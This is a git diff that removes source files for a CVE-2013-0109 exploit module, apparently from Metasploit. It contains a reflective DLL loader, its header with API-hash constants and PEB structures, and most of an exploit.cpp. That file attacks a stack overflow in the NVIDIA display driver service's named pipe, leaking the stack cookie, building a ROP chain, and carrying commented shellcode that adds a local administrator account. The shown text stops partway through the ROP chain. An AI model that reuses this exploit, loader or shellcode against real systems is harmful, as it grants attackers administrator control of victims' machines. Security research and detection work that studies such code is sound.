- uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );
-
- // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
- uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );
-
- // itterate through all imported functions, importing by ordinal if no name present
- while( DEREF(uiValueA) )
- {
- // sanity check uiValueD as some compilers only import by FirstThunk
- if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
- {
- // get the VA of the modules NT Header
- uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
-
- // uiNameArray = the address of the modules export directory entry
- uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
-
- // get the VA of the export directory
- uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
-
- // get the VA for the array of addresses
- uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
-
- // use the import ordinal (- export ordinal base) as an index into the array of addresses
- uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );
-
- // patch in the address for this imported function
- DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );
- }
- else
- {
- // get the VA of this functions import by name struct
- uiValueB = ( uiBaseAddress + DEREF(uiValueA) );
-
- // use GetProcAddress and patch in the address for this imported function
- DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
- }
- // get the next imported function
- uiValueA += sizeof( ULONG_PTR );
- if( uiValueD )
- uiValueD += sizeof( ULONG_PTR );
- }
-
- // get the next import
- uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
- }
-
- // STEP 5: process all of our images relocations...
-
- // calculate the base address delta and perform relocations (even if we load at desired image base)
- uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
-
- // uiValueB = the address of the relocation directory
- uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];
-
- // check if their are any relocations present
- if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
- {
- // uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
- uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
-
- // and we itterate through all entries...
- while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
- {
- // uiValueA = the VA for this relocation block
- uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );
-
- // uiValueB = number of entries in this relocation block
- uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );
-
- // uiValueD is now the first entry in the current relocation block
- uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
-
- // we itterate through all the entries in the current block...
- while( uiValueB-- )
- {
- // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
- // we dont use a switch statement to avoid the compiler building a jump table
- // which would not be very position independent!
- if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )
- *(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
- else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )
- *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
-#ifdef WIN_ARM
- // Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem.
- else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T )
- {
- register DWORD dwInstruction;
- register DWORD dwAddress;
- register WORD wImm;
- // get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word)
- dwInstruction = *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) );
- // flip the words to get the instruction as expected
- dwInstruction = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) );
- // sanity chack we are processing a MOV instruction...
- if( (dwInstruction & ARM_MOV_MASK) == ARM_MOVT )
- {
- // pull out the encoded 16bit value (the high portion of the address-to-relocate)
- wImm = (WORD)( dwInstruction & 0x000000FF);
- wImm |= (WORD)((dwInstruction & 0x00007000) >> 4);
- wImm |= (WORD)((dwInstruction & 0x04000000) >> 15);
- wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4);
- // apply the relocation to the target address
- dwAddress = ( (WORD)HIWORD(uiLibraryAddress) + wImm ) & 0xFFFF;
- // now create a new instruction with the same opcode and register param.
- dwInstruction = (DWORD)( dwInstruction & ARM_MOV_MASK2 );
- // patch in the relocated address...
- dwInstruction |= (DWORD)(dwAddress & 0x00FF);
- dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4;
- dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15;
- dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4;
- // now flip the instructions words and patch back into the code...
- *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ) = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) );
- }
- }
-#endif
- else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )
- *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
- else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )
- *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
-
- // get the next entry in the current relocation block
- uiValueD += sizeof( IMAGE_RELOC );
- }
-
- // get the next entry in the relocation directory
- uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
- }
- }
-
- // STEP 6: call our images entry point
-
- // uiValueA = the VA of our newly loaded DLL/EXE's entry point
- uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint );
-
- // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
- pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 );
-
- // call our respective entry point, fudging our hInstance value
-#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
- // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
- ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter );
-#else
- // if we are injecting an DLL via a stub we call DllMain with no parameter
- ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL );
-#endif
-
- // STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.
- return uiValueA;
-}
-//===============================================================================================//
-#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
-
-BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
-{
- BOOL bReturnValue = TRUE;
- switch( dwReason )
- {
- case DLL_QUERY_HMODULE:
- if( lpReserved != NULL )
- *(HMODULE *)lpReserved = hAppInstance;
- break;
- case DLL_PROCESS_ATTACH:
- hAppInstance = hinstDLL;
- break;
- case DLL_PROCESS_DETACH:
- case DLL_THREAD_ATTACH:
- case DLL_THREAD_DETACH:
- break;
- }
- return bReturnValue;
-}
-
-#endif
-//===============================================================================================//
diff --git a/external/source/exploits/cve-2013-0109/dll/src/ReflectiveLoader.h b/external/source/exploits/cve-2013-0109/dll/src/ReflectiveLoader.h
deleted file mode 100644
index 3797879e47..0000000000
--- a/external/source/exploits/cve-2013-0109/dll/src/ReflectiveLoader.h
+++ /dev/null
@@ -1,203 +0,0 @@
-//===============================================================================================//
-// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
-// All rights reserved.
-//
-// Redistribution and use in source and binary forms, with or without modification, are permitted
-// provided that the following conditions are met:
-//
-// * Redistributions of source code must retain the above copyright notice, this list of
-// conditions and the following disclaimer.
-//
-// * Redistributions in binary form must reproduce the above copyright notice, this list of
-// conditions and the following disclaimer in the documentation and/or other materials provided
-// with the distribution.
-//
-// * Neither the name of Harmony Security nor the names of its contributors may be used to
-// endorse or promote products derived from this software without specific prior written permission.
-//
-// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
-// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
-// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
-// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
-// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
-// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
-// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
-// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
-// POSSIBILITY OF SUCH DAMAGE.
-//===============================================================================================//
-#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
-#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
-//===============================================================================================//
-#define WIN32_LEAN_AND_MEAN
-#include
-#include
-#include
-
-#include "ReflectiveDLLInjection.h"
-
-typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR );
-typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR );
-typedef LPVOID (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD );
-typedef DWORD (NTAPI * NTFLUSHINSTRUCTIONCACHE)( HANDLE, PVOID, ULONG );
-
-#define KERNEL32DLL_HASH 0x6A4ABC5B
-#define NTDLLDLL_HASH 0x3CFA685D
-
-#define LOADLIBRARYA_HASH 0xEC0E4E8E
-#define GETPROCADDRESS_HASH 0x7C0DFCAA
-#define VIRTUALALLOC_HASH 0x91AFCA54
-#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8
-
-#define IMAGE_REL_BASED_ARM_MOV32A 5
-#define IMAGE_REL_BASED_ARM_MOV32T 7
-
-#define ARM_MOV_MASK (DWORD)(0xFBF08000)
-#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00)
-#define ARM_MOVW 0xF2400000
-#define ARM_MOVT 0xF2C00000
-
-#define HASH_KEY 13
-//===============================================================================================//
-#pragma intrinsic( _rotr )
-
-__forceinline DWORD ror( DWORD d )
-{
- return _rotr( d, HASH_KEY );
-}
-
-__forceinline DWORD hash( char * c )
-{
- register DWORD h = 0;
- do
- {
- h = ror( h );
- h += *c;
- } while( *++c );
-
- return h;
-}
-//===============================================================================================//
-typedef struct _UNICODE_STR
-{
- USHORT Length;
- USHORT MaximumLength;
- PWSTR pBuffer;
-} UNICODE_STR, *PUNICODE_STR;
-
-// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
-//__declspec( align(8) )
-typedef struct _LDR_DATA_TABLE_ENTRY
-{
- //LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
- LIST_ENTRY InMemoryOrderModuleList;
- LIST_ENTRY InInitializationOrderModuleList;
- PVOID DllBase;
- PVOID EntryPoint;
- ULONG SizeOfImage;
- UNICODE_STR FullDllName;
- UNICODE_STR BaseDllName;
- ULONG Flags;
- SHORT LoadCount;
- SHORT TlsIndex;
- LIST_ENTRY HashTableEntry;
- ULONG TimeDateStamp;
-} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
-
-// WinDbg> dt -v ntdll!_PEB_LDR_DATA
-typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
-{
- DWORD dwLength;
- DWORD dwInitialized;
- LPVOID lpSsHandle;
- LIST_ENTRY InLoadOrderModuleList;
- LIST_ENTRY InMemoryOrderModuleList;
- LIST_ENTRY InInitializationOrderModuleList;
- LPVOID lpEntryInProgress;
-} PEB_LDR_DATA, * PPEB_LDR_DATA;
-
-// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
-typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
-{
- struct _PEB_FREE_BLOCK * pNext;
- DWORD dwSize;
-} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
-
-// struct _PEB is defined in Winternl.h but it is incomplete
-// WinDbg> dt -v ntdll!_PEB
-typedef struct __PEB // 65 elements, 0x210 bytes
-{
- BYTE bInheritedAddressSpace;
- BYTE bReadImageFileExecOptions;
- BYTE bBeingDebugged;
- BYTE bSpareBool;
- LPVOID lpMutant;
- LPVOID lpImageBaseAddress;
- PPEB_LDR_DATA pLdr;
- LPVOID lpProcessParameters;
- LPVOID lpSubSystemData;
- LPVOID lpProcessHeap;
- PRTL_CRITICAL_SECTION pFastPebLock;
- LPVOID lpFastPebLockRoutine;
- LPVOID lpFastPebUnlockRoutine;
- DWORD dwEnvironmentUpdateCount;
- LPVOID lpKernelCallbackTable;
- DWORD dwSystemReserved;
- DWORD dwAtlThunkSListPtr32;
- PPEB_FREE_BLOCK pFreeList;
- DWORD dwTlsExpansionCounter;
- LPVOID lpTlsBitmap;
- DWORD dwTlsBitmapBits[2];
- LPVOID lpReadOnlySharedMemoryBase;
- LPVOID lpReadOnlySharedMemoryHeap;
- LPVOID lpReadOnlyStaticServerData;
- LPVOID lpAnsiCodePageData;
- LPVOID lpOemCodePageData;
- LPVOID lpUnicodeCaseTableData;
- DWORD dwNumberOfProcessors;
- DWORD dwNtGlobalFlag;
- LARGE_INTEGER liCriticalSectionTimeout;
- DWORD dwHeapSegmentReserve;
- DWORD dwHeapSegmentCommit;
- DWORD dwHeapDeCommitTotalFreeThreshold;
- DWORD dwHeapDeCommitFreeBlockThreshold;
- DWORD dwNumberOfHeaps;
- DWORD dwMaximumNumberOfHeaps;
- LPVOID lpProcessHeaps;
- LPVOID lpGdiSharedHandleTable;
- LPVOID lpProcessStarterHelper;
- DWORD dwGdiDCAttributeList;
- LPVOID lpLoaderLock;
- DWORD dwOSMajorVersion;
- DWORD dwOSMinorVersion;
- WORD wOSBuildNumber;
- WORD wOSCSDVersion;
- DWORD dwOSPlatformId;
- DWORD dwImageSubsystem;
- DWORD dwImageSubsystemMajorVersion;
- DWORD dwImageSubsystemMinorVersion;
- DWORD dwImageProcessAffinityMask;
- DWORD dwGdiHandleBuffer[34];
- LPVOID lpPostProcessInitRoutine;
- LPVOID lpTlsExpansionBitmap;
- DWORD dwTlsExpansionBitmapBits[32];
- DWORD dwSessionId;
- ULARGE_INTEGER liAppCompatFlags;
- ULARGE_INTEGER liAppCompatFlagsUser;
- LPVOID lppShimData;
- LPVOID lpAppCompatInfo;
- UNICODE_STR usCSDVersion;
- LPVOID lpActivationContextData;
- LPVOID lpProcessAssemblyStorageMap;
- LPVOID lpSystemDefaultActivationContextData;
- LPVOID lpSystemAssemblyStorageMap;
- DWORD dwMinimumStackCommit;
-} _PEB, * _PPEB;
-
-typedef struct
-{
- WORD offset:12;
- WORD type:4;
-} IMAGE_RELOC, *PIMAGE_RELOC;
-//===============================================================================================//
-#endif
-//===============================================================================================//
diff --git a/external/source/exploits/cve-2013-0109/dll/src/exploit.cpp b/external/source/exploits/cve-2013-0109/dll/src/exploit.cpp
deleted file mode 100644
index d97f113401..0000000000
--- a/external/source/exploits/cve-2013-0109/dll/src/exploit.cpp
+++ /dev/null
@@ -1,537 +0,0 @@
-/*
-
-NVidia Display Driver Service (Nsvr) Exploit - Christmas 2012
-- Bypass DEP + ASLR + /GS + CoE
-=============================================================
-(@peterwintrsmith)
-
- ** Initial release 25/12/12
- ** Update 25/12/12 - Target for 30 Aug 2012 nvvsvc.exe Build - thanks
- @seanderegge!
-
-Hey all!
-
-Here is an interesting exploit for a stack buffer overflow in the NVidia
-Display Driver Service. The service listens on a named pipe (\pipe\nsvr)
-which has a NULL DACL configured, which should mean that any logged on user
-or remote user in a domain context (Windows firewall/file sharing
-permitting) should be able to exploit this vulnerability.
-
-The buffer overflow occurs as a result of a bad memmove operation, with the
-stack layout effectively looking like this:
-
-[locals]
-[received-data]
-[response-buf]
-[stack cookie]
-[return address]
-[arg space]
-[etc]
-
-The memmove copies data from the received-data buffer into the response-buf
-buffer, unchecked. It is possible to control the offset from which the copy
-starts in the received-data buffer by embedding a variable length string -
-which forms part of the protocol message being crafted - as well as the
-number of bytes copied into the response buffer.
-
-The amount of data sent back over the named pipe is related to the number
-of bytes copied rather than the maximum number of bytes that the buffer is
-able to safely contain, so it is possible to leak stack data by copying
-from the end of the received-data buffer, through the response-buf buffer
-(which is zeroed first time round, and second time round contains whatever
-was in it beforehand), right to the end of the stack frame (including stack
-cookie and return address).
-
-As the entire block of data copied is sent back, the stack cookie and
-nvvsvc.exe base can be determined using the aforementioned process. The
-stack is then trashed, but the function servicing pipe messages won't
-return until the final message has been received, so it doesn't matter too
-much.
-
-It is then possible to exploit the bug by sending two further packets of
-data: One containing the leaked stack cookie and a ROP chain dynamically
-generated using offsets from the leaked nvvsvc.exe base (which simply fills
-the response-buf buffer when this data is echoed back) and a second packet
-which contains enough data to trigger an overwrite if data is copied from
-the start of the received-data buffer into the response-buf (including the
-data we primed the latter to contain - stack cookie and ROP chain).
-
-Allowing the function to then return leads to execution of our ROP chain,
-and our strategically placed Metasploit net user /add shellcode! We get
-continuation of execution for free because the process spins up a thread
-to handle each new connection, and there are no deadlocks etc.
-
-I've included two ROP chains, one which works against the nvvsvc.exe
-running by default on my Win7/x64 Dell XPS 15/ NVidia GT540M with drivers
-from the Dell site, and one which works against the latest version of the
-drivers for the same card, from:
-http://www.geforce.co.uk/hardware/desktop-gpus/geforce-gt-540m
-http://www.geforce.co.uk/drivers/results/54709
-
-Hope you find this interesting - it's a fun bug to play with!
-
-- Sample Session -
-
-
-C:\Users\Peter\Desktop\NVDelMe1>net localgroup administrators
-Alias name administrators
-Comment Administrators have complete and unrestricted access to the computer/domain
-
-Members
-
--------------------------------------------------------------------------------
-Administrator
-Peter
-The command completed successfully.
-
-
-C:\Users\Peter\Desktop\NVDelMe1>nvvsvc_expl.exe 127.0.0.1
- ** Nvvsvc.exe Nsvr Pipe Exploit (Local/Domain) **
- [@peterwintrsmith]
- - Win7 x64 DEP + ASLR + GS Bypass - Christmas 2012 -
-
- Action 1 of 9: - CONNECT
-
- Action 2 of 9: - CLIENT => SERVER
- Written 16416 (0x4020) characters to pipe
-
- Action 3 of 9: - SERVER => CLIENT
- Read 16504 (0x4078) characters from pipe
-
- Action 4 of 9: Building exploit ...
- => Stack cookie 0xe2e2893340d4:
- => nvvsvc.exe base 0x13fb90000:
-
- Action 5 of 9: - CLIENT => SERVER
- Written 16416 (0x4020) characters to pipe
-
- Action 6 of 9: - SERVER => CLIENT
- Read 16384 (0x4000) characters from pipe
-
- Action 7 of 9: - CLIENT => SERVER
- Written 16416 (0x4020) characters to pipe
-
- Action 8 of 9: - SERVER => CLIENT
- Read 16896 (0x4200) characters from pipe
-
- Action 9 of 9: - DISCONNECT
-
-C:\Users\Peter\Desktop\NVDelMe1>net localgroup administrators
-Alias name administrators
-Comment Administrators have complete and unrestricted access to the computer/domain
-
-Members
-
--------------------------------------------------------------------------------
-Administrator
-Peter
-r00t
-The command completed successfully.
-
-
-C:\Users\Peter\Desktop\NVDelMe1>
-
-*/
-
-#include
-#include
-#define SCSIZE 2048
-char code[SCSIZE] = "PAYLOAD:";
-
-enum EProtocolAction
-{
- ProtocolAction_Connect = 0,
- ProtocolAction_Receive,
- ProtocolAction_Send,
- ProtocolAction_Disconnect,
- ProtocolAction_ReadCookie,
-};
-
-typedef struct {
- EProtocolAction Action;
- PBYTE Buf;
- DWORD Length;
-} ProtocolMessage;
-
-const int GENERIC_BUF_LENGTH = 0x10000;
-
-#define WriteByte(val) {buf[offs] = val; offs += 1;}
-#define WriteWord(val) {*(WORD *)(buf + offs) = val; offs += 2;}
-#define WriteDword(val) {*(DWORD *)(buf + offs) = val; offs += 4;}
-#define WriteBytes(val, len) {memcpy(buf + offs, val, len); offs += len;}
-#define BufRemaining() (sizeof(buf) - offs)
-
-DWORD WritePipe(HANDLE hPipe, void *pBuffer, DWORD cbBuffer)
-{
- DWORD dwWritten = 0;
-
- if(WriteFile(hPipe, pBuffer, cbBuffer, &dwWritten, NULL))
- return dwWritten;
-
- return 0;
-}
-
-DWORD ReadPipe(HANDLE hPipe, void *pBuffer, DWORD cbBuffer, BOOL bTimeout = FALSE)
-{
- DWORD dwRead = 0, dwAvailable = 0;
-
- if(bTimeout)
- {
- for(DWORD i=0; i < 30; i++)
- {
- if(!PeekNamedPipe(hPipe, NULL, NULL, NULL, &dwAvailable, NULL))
- goto Cleanup;
-
- if(dwAvailable)
- break;
-
- Sleep(100);
- }
-
- if(!dwAvailable)
- goto Cleanup;
- }
-
- if(!ReadFile(hPipe, pBuffer, cbBuffer, &dwRead, NULL))
- goto Cleanup;
-
-Cleanup:
- return dwRead;
-}
-
-HANDLE EstablishPipeConnection(char *pszPipe)
-{
- HANDLE hPipe = CreateFileA(
- pszPipe,
- GENERIC_READ | GENERIC_WRITE,
- 0,
- NULL,
- OPEN_EXISTING,
- 0,
- NULL
- );
-
- if(hPipe == INVALID_HANDLE_VALUE)
- {
- return NULL;
- }
-
- return hPipe;
-}
-
-BYTE *BuildMalicious_LeakStack()
-{
- static BYTE buf[0x4020] = {0};
- UINT offs = 0;
-
- WriteWord(0x52);
-
- for(UINT i=0; i<0x2000; i++)
- WriteWord(0x41);
-
- WriteWord(0);
-
- WriteDword(0);
- WriteDword(0x4078);
-
- WriteDword(0x41414141);
- WriteDword(0x41414141);
- WriteDword(0x41414141);
- WriteDword(0x41414141);
- WriteDword(0x41414141);
-
- return buf;
-}
-
-BYTE *BuildMalicious_FillBuf()
-{
- static BYTE buf[0x4020] = {0};
- UINT offs = 0;
-
- WriteWord(0x52);
- WriteWord(0); // string
-
- WriteDword(0);
- WriteDword(0x4000);
-
- while(BufRemaining())
- WriteDword(0x43434343);
-
- return buf;
-}
-
-BYTE *BuildMalicious_OverwriteStack()
-{
- static BYTE buf[0x4020] = {0};
- UINT offs = 0;
-
- WriteWord(0x52);
- WriteWord(0); // string
-
- WriteDword(0);
- WriteDword(0x4340); // enough to copy shellcode too
-
- while(BufRemaining())
- WriteDword(0x42424242);
-
- return buf;
-}
-
-extern "C" int run()
-{
- DWORD dwReturnCode = 1, dwBytesInOut = 0;
- HANDLE hPipe = NULL;
-
- static BYTE rgReadBuf[GENERIC_BUF_LENGTH] = {0};
-
- memset(rgReadBuf, 0, sizeof(rgReadBuf));
-
- ProtocolMessage rgConvoMsg[] = {
- {ProtocolAction_Connect, NULL, 0},
- {ProtocolAction_Send, BuildMalicious_LeakStack(), 0x4020},
- {ProtocolAction_Receive, {0}, 0x4200},
- {ProtocolAction_ReadCookie, {0}, 0},
- {ProtocolAction_Send, BuildMalicious_FillBuf(), 0x4020},
- {ProtocolAction_Receive, {0}, 0x4000},
- {ProtocolAction_Send, BuildMalicious_OverwriteStack(), 0x4020},
- {ProtocolAction_Receive, {0}, 0x4200},
- {ProtocolAction_Disconnect, NULL, 0},
- };
-
- DWORD dwNumberOfMessages = sizeof(rgConvoMsg) / sizeof(ProtocolMessage), i = 0;
- BOOL bTryAgain = FALSE;
- char szPipe[256] = {0};
-
- // We could renable remote hosts to target other devices on network?!
- //if(stricmp(argv[1], "local") == 0)
- strcpy(szPipe, "\\\\.\\pipe\\nvsr");
- //else
- // sprintf(szPipe, "\\\\%s\\pipe\\nvsr", argv[1]);
-
- while(i < dwNumberOfMessages)
- {
- printf("\n\tAction %u of %u: ", i + 1, dwNumberOfMessages);
-
- switch(rgConvoMsg[i].Action)
- {
- case ProtocolAction_Connect:
- printf(" - CONNECT\n");
-
- hPipe = EstablishPipeConnection(szPipe);
- if(!hPipe)
- {
- printf("!! Unable to create named pipe (GetLastError() = %u [0x%x])\n", GetLastError(), GetLastError());
- goto Cleanup;
- }
-
- break;
- case ProtocolAction_Disconnect:
- printf(" - DISCONNECT\n");
-
- CloseHandle(hPipe);
- hPipe = NULL;
-
- break;
- case ProtocolAction_Send:
- printf(" - CLIENT => SERVER\n");
-
- if(!(dwBytesInOut = WritePipe(hPipe, rgConvoMsg[i].Buf, rgConvoMsg[i].Length)))
- {
- printf("!! Error writing to pipe\n");
- goto Cleanup;
- }
-
- printf("\t\tWritten %u (0x%x) characters to pipe\n", dwBytesInOut, dwBytesInOut);
-
- break;
- case ProtocolAction_Receive:
- printf("\t - SERVER => CLIENT\n");
-
- if(!(dwBytesInOut = ReadPipe(hPipe, rgReadBuf, rgConvoMsg[i].Length, FALSE)))
- {
- printf("!! Error reading from pipe (at least, no data on pipe)\n");
- goto Cleanup;
- }
-
- printf("\t\tRead %u (0x%x) characters from pipe\n", dwBytesInOut, dwBytesInOut);
-
- break;
- case ProtocolAction_ReadCookie:
-
- // x64 Metasploit cmd/exec:
- // "net user r00t r00t00r! /add & net localgroup administrators /add"
- // exitfunc=thread
- /*char code[] = ""
- "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
- "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
- "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
- "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
- "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
- "\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
- "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
- "\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
- "\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
- "\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
- "\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
- "\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
- "\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
- "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
- "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
- "\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff"
- "\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
- "\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64"
- "\x20\x2f\x63\x20\x6e\x65\x74\x20\x75\x73\x65\x72\x20\x72\x30"
- "\x30\x74\x20\x72\x30\x30\x74\x30\x30\x72\x21\x20\x2f\x61\x64"
- "\x64\x20\x26\x20\x6e\x65\x74\x20\x6c\x6f\x63\x61\x6c\x67\x72"
- "\x6f\x75\x70\x20\x61\x64\x6d\x69\x6e\x69\x73\x74\x72\x61\x74"
- "\x6f\x72\x73\x20\x72\x30\x30\x74\x20\x2f\x61\x64\x64\x00";*/
- printf("Building exploit ...\n");
- unsigned __int64 uiStackCookie = *(unsigned __int64 *)(rgReadBuf + 0x4034);
- printf("\t\t => Stack cookie 0&x:\n", (DWORD)(uiStackCookie >> 32), (DWORD)uiStackCookie);
-
- memcpy(rgConvoMsg[4].Buf + 0xc + 0xc, &uiStackCookie, 8);
-
- unsigned __int64 uiRetnAddress = *(unsigned __int64 *)(rgReadBuf + 0x4034 + 8), uiBase = 0, *pRopChain = NULL;
-
- // Perform some limited fingerprinting (my default install version, vs latest at time of testing)
- switch(uiRetnAddress & 0xfff)
- {
- case 0x640: // nvvsvc.exe - 03 Nov 2011 - 1,640,768 bytes - md5=3947ad5d03e6abcce037801162fdb90d
- {
- uiBase = uiRetnAddress - 0x4640;
- printf("\t\t => nvvsvc.exe base 0&x:\n", (DWORD)(uiBase >> 32), (DWORD)uiBase);
-
- pRopChain = (unsigned __int64 *)(rgConvoMsg[4].Buf + 0xc + 0xc + (7*8));
-
- // Param 1: lpAddress [r11 (near rsp) into rcx]
